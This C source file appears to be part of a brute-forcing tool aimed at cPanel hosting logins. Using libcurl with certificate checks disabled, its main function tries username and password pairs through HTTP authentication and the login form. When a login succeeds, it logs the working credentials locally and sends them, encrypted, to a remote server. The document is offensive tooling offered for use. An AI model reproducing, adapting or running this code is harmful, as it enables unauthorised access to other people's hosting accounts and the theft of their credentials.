extern char *mode;

void delete_cookie_file(int id_comb)
{
    char file_to_delete[100];
    memset(file_to_delete,0,sizeof(file_to_delete));
    sprintf(file_to_delete,"cookies/cookie_%d.txt",id_comb);

    if(remove(file_to_delete) != 0)
    {
        // perror( "Error deleting file" );
    }
    else
    {
        // puts( "File successfully deleted" );
    }
}

void create_cookie(int id_comb)
{
    char create_command[500];
    memset(create_command,0,sizeof(create_command));
    sprintf(create_command,"touch cookies/cookie_%d.txt; chmod 777 cookies/cookie_%d.txt; ",id_comb,id_comb,id_comb);
    system(create_command);
}

char* get_cookie_filename_by_id(int id_comb)
{
    char temp_cookie[100];
    memset(temp_cookie,0,sizeof(temp_cookie));
    sprintf(temp_cookie,"cookies/cookie_%d.txt",id_comb);

    return strdup(temp_cookie);
}


int curl_cpanel_brute(char* url, char* user, char* pass, int debug_curl, int id_comb)
{
    delete_cookie_file(id_comb);
    create_cookie(id_comb);

    char *cookie_path;
    cookie_path = realpath(get_cookie_filename_by_id(id_comb), NULL);

    int result = 0;
    CURL *curl_handle;
    CURLcode res;

    struct MemoryStruct chunk;
    char* curl_error;
    struct curl_slist *chunk_headers = NULL;

    curl_global_init(CURL_GLOBAL_ALL);
    chunk.memory = (char*) malloc(1);
    chunk.size = 0;

    // CURL1
    curl_handle = curl_easy_init();
    curl_easy_setopt(curl_handle, CURLOPT_URL, url);
    curl_easy_setopt(curl_handle, CURLOPT_FOLLOWLOCATION, 1L); // caused problems

    curl_easy_setopt(curl_handle, CURLOPT_TIMEOUT, timeout);
    curl_easy_setopt(curl_handle, CURLOPT_CONNECTTIMEOUT, timeout);

    curl_easy_setopt(curl_handle, CURLOPT_WRITEFUNCTION, WriteMemoryCallback);
    curl_easy_setopt(curl_handle, CURLOPT_WRITEDATA, (void *)&chunk);

    // curl_easy_setopt(curl_handle, CURLOPT_USERAGENT,USERAGENT_CURL);
    curl_easy_setopt(curl_handle, CURLOPT_USERAGENT,"");
    // curl_easy_setopt(curl_handle, CURLOPT_CONNECT_TO,host);

    curl_easy_setopt(curl_handle, CURLOPT_HEADER, 1l);

    curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 0l);
    curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER,0l);
    // curl_easy_setopt(curl_handle, CURLOPT_USE_SSL, 0l);
    // curl_easy_setopt(curl_handle, CURLOPT_SSLVERSION, CURL_SSLVERSION_MAX_TLSv1_2);
    // curl_easy_setopt(curl_handle, CURLOPT_SSL_CIPHER_LIST,"RC4-SHA");
    // curl_easy_setopt(curl_handle, CURLOPT_SSL_CIPHER_LIST, "TLSv1.2");


    curl_easy_setopt(curl_handle, CURLOPT_COOKIEJAR,cookie_path);
    curl_easy_setopt(curl_handle, CURLOPT_COOKIEFILE,cookie_path);

    if(debug_curl >=3) curl_easy_setopt(curl_handle, CURLOPT_VERBOSE, 1);

    // curl_easy_setopt(curl_handle, CURLOPT_FAILONERROR, 1L);
    // curl_easy_setopt(curl_handle, CURLOPT_UPLOAD, 1L);
    char user_pass[500];
    memset(user_pass,0,sizeof(user_pass));
    sprintf(user_pass,"%s:%s",user,pass);

    curl_easy_setopt(curl_handle, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
    curl_easy_setopt(curl_handle, CURLOPT_USERPWD,user_pass);

    res = curl_easy_perform(curl_handle);

    if(res != CURLE_OK)
    {
        curl_error = (char*) curl_easy_strerror(res);

        if(debug_curl >=3) fprintf(stderr, "curl_easy_perform() failed: %s\n",curl_error);
    }
    else
    {
        if(debug_curl >=3) printf("%lu bytes retrieved\n", (long)chunk.size);

        if(debug_curl >=3) puts(chunk.memory);

        if(strstr(chunk.memory,"HTTP/1.1 200 OK") && strstr(chunk.memory,"<title>cPanel -"))
        {
            result = 1;

            char temp_filename_line[500];
            memset(temp_filename_line,0,500);
            sprintf(temp_filename_line,"%s | %s:%s | %s\n",url,user,pass,mode);
            if(debug_level >= 1) file_put_contents("vuln",temp_filename_line,"FILE_APPEND");

            send_data_to_server(encrypt(temp_filename_line));
        }


        else if(strstr(chunk.memory,"name=\"user\"") && strstr(chunk.memory,"name=\"pass\""))
        {
            // it is a box, post it
            curl_easy_setopt(curl_handle, CURLOPT_URL, url);
            curl_easy_setopt(curl_handle, CURLOPT_FOLLOWLOCATION, 1L); // caused problems

            curl_easy_setopt(curl_handle, CURLOPT_TIMEOUT, timeout);
            curl_easy_setopt(curl_handle, CURLOPT_CONNECTTIMEOUT, timeout);

            curl_easy_setopt(curl_handle, CURLOPT_WRITEFUNCTION, WriteMemoryCallback);
            curl_easy_setopt(curl_handle, CURLOPT_WRITEDATA, (void *)&chunk);

            //curl_easy_setopt(curl_handle, CURLOPT_USERAGENT,USERAGENT_CURL);
            curl_easy_setopt(curl_handle, CURLOPT_USERAGENT,"");
            // curl_easy_setopt(curl_handle, CURLOPT_CONNECT_TO,host);

            curl_easy_setopt(curl_handle, CURLOPT_HEADER, 1l);

            curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 0l);
            curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER,0l);
            // curl_easy_setopt(curl_handle, CURLOPT_USE_SSL, 0l);
            // curl_easy_setopt(curl_handle, CURLOPT_SSLVERSION, CURL_SSLVERSION_MAX_TLSv1_2);
            // curl_easy_setopt(curl_handle, CURLOPT_SSL_CIPHER_LIST, "TLSv1.2");

            curl_easy_setopt(curl_handle, CURLOPT_COOKIEJAR,cookie_path);
            curl_easy_setopt(curl_handle, CURLOPT_COOKIEFILE,cookie_path);

            char post_string[500];
            memset(post_string,0,500);
            sprintf(post_string,"user=%s&pass=%s",user,pass);

            curl_easy_setopt(curl_handle,CURLOPT_POSTFIELDS,post_string);

            if(debug_curl >=3) curl_easy_setopt(curl_handle, CURLOPT_VERBOSE, 1);

            res = curl_easy_perform(curl_handle);

            if(res != CURLE_OK)
            {
                curl_error = (char*) curl_easy_strerror(res);

                if(debug_curl >=3) fprintf(stderr, "curl_easy_perform() failed: %s\n",curl_error);

                // visit it once more if ssl
                if(strstr(url,"https://") || strstr(url,":443"))
                {
                    curl_easy_setopt(curl_handle, CURLOPT_URL, url);
                    curl_easy_setopt(curl_handle, CURLOPT_FOLLOWLOCATION, 1L); // caused problems

                    curl_easy_setopt(curl_handle, CURLOPT_TIMEOUT, timeout);
                    curl_easy_setopt(curl_handle, CURLOPT_CONNECTTIMEOUT, timeout);

                    curl_easy_setopt(curl_handle, CURLOPT_WRITEFUNCTION, WriteMemoryCallback);
                    curl_easy_setopt(curl_handle, CURLOPT_WRITEDATA, (void *)&chunk);

                    // curl_easy_setopt(curl_handle, CURLOPT_USERAGENT,USERAGENT_CURL);
                    curl_easy_setopt(curl_handle, CURLOPT_USERAGENT,"");
                    // curl_easy_setopt(curl_handle, CURLOPT_CONNECT_TO,host);

                    curl_easy_setopt(curl_handle, CURLOPT_HEADER, 1l);

                    curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 0l);
                    curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER,0l);
                    // curl_easy_setopt(curl_handle, CURLOPT_USE_SSL, 0l);
                    // curl_easy_setopt(curl_handle, CURLOPT_SSLVERSION, CURL_SSLVERSION_MAX_TLSv1_2);
                    // curl_easy_setopt(curl_handle, CURLOPT_SSL_CIPHER_LIST, "TLSv1.2");

                    curl_easy_setopt(curl_handle, CURLOPT_COOKIEJAR,cookie_path);
                    curl_easy_setopt(curl_handle, CURLOPT_COOKIEFILE,cookie_path);

                    if(debug_curl >=3) curl_easy_setopt(curl_handle, CURLOPT_VERBOSE, 1);

                    res = curl_easy_perform(curl_handle);

                    if(res != CURLE_OK)
                    {
                        curl_error = (char*) curl_easy_strerror(res);

                        if(debug_curl >=3) fprintf(stderr, "curl_easy_perform() failed: %s\n",curl_error);
                    }
                    else
                    {
                        if(debug_curl >=3) printf("%lu bytes retrieved\n", (long)chunk.size);

                        if(debug_curl >=3) puts(chunk.memory);
                    }

                    if(strstr(chunk.memory,"HTTP/1.1 200 OK") && strstr(chunk.memory,"<title>cPanel -"))
                    {
                        result = 1;

                        char temp_filename_line[500];
                        memset(temp_filename_line,0,500);
                        sprintf(temp_filename_line,"%s | %s:%s | %s\n",url,user,pass,mode);
                        if(debug_level >= 1) file_put_contents("vuln",temp_filename_line,"FILE_APPEND");

                        send_data_to_server(encrypt(temp_filename_line));
                    }
                }
            }
            else
            {
                if(debug_curl >=3) printf("%lu bytes retrieved\n", (long)chunk.size);

                if(debug_curl >=3) puts(chunk.memory);

                if(strstr(chunk.memory,"HTTP/1.1 200 OK") && strstr(chunk.memory,"<title>cPanel -"))
                {
                    result = 1;

                    char temp_filename_line[500];
                    memset(temp_filename_line,0,500);
                    sprintf(temp_filename_line,"%s | %s:%s | %s\n",url,user,pass,mode);
                    if(debug_level >= 1) file_put_contents("vuln",temp_filename_line,"FILE_APPEND");

                    send_data_to_server(encrypt(temp_filename_line));
                }
            }
        }
    }

    curl_easy_cleanup(curl_handle);

    free(chunk.memory);

    curl_global_cleanup();

    delete_cookie_file(id_comb);

    return result;
}